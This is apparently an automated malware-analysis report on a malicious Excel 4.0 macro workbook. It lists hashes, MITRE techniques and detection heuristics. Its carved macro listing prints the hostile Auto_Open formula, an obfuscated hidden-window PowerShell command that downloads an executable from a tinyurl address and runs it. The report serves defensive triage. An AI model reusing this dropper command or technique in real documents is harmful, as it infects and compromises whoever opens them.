Office (OLE) malware analysis — malicious · 41d5aea6b867aa64

MALICIOUS

Office (OLE)

430.0 KB Created: 2020-05-26 14:28:52 Authoring application: Microsoft Excel First seen: 2020-09-15

MD5: eeb75d5d480c1e555511394ec3580f1c SHA-1: e0348716672ba482ecd6aa3509ea4121f4556798 SHA-256: 41d5aea6b867aa646afd31168f8b4ba49bfc84930ee95969ad05035c0b6360cc

220 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1059.001 PowerShell T1566.001 Spearphishing Attachment

The file contains Excel 4.0 macros, specifically an Auto_Open macro, which is a critical finding. This macro is designed to execute a PowerShell command that downloads a file from the URL 'https://tinyurl.com/yyclvuju' and then executes it. This indicates a downloader or dropper functionality, commonly associated with malicious macro-enabled documents.

Heuristics 5

Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME

oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN

Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
Reference to PowerShell high SC_STR_POWERSHELL

Reference to PowerShell
Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN

Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`xlm_macros.txt`	xlm-macro	oletools.olevba.extract_all_macros (XLM macro listing)	1301 bytes
SHA-256: `92a5d584e3f6279f650debe0b91698a3de3d652da29df7fd8feeebb3bea11552`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 2 shell/COM execution token(s). Carved macro source contains an auto-exec entry point and execution/download terms.
Preview script First 1,000 lines of the extracted script ' 0085 15 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, hidden - ayatag ' 0085 14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible - Sheet ' 0085 14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible - Sheet ' 0085 14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible - Sheet ' 0018 23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d Sheet!A459 ' 0018 26 LABEL : Cell Value, String Constant - powa len=7 ptgRef3d Sheet!A12 ' 0018 32 LABEL : Cell Value, String Constant - powershell len=7 ptgRef3d ayatag!A34 ' 0018 27 LABEL : Cell Value, String Constant - Start len=7 ptgRef3d ayatag!A29 ' 0018 26 LABEL : Cell Value, String Constant - WAIT len=7 ptgRefErr3d INCOMPLETE FORMULA PARSING Remaining, unparsed expression: b'\x01\x00\x02\x00\x02\x00' ' 002a 2 PRINTHEADERS : Print Row/Column Labels ' 002a 2 PRINTHEADERS : Print Row/Column Labels ' 002a 2 PRINTHEADERS : Print Row/Column Labels ' 002a 2 PRINTHEADERS : Print Row/Column Labels ' Sheet,Reference,Formula,Value ' ayatag,A459,EXEC("powershell.exe -w h I`wR ('ht'+'tps://tinyurl.com/yyclvuju') -OutFile ('test5'+'.exe'); &('./test5'+'.e'+'x'+'e')"),"" ' ayatag,A460,HALT(),""

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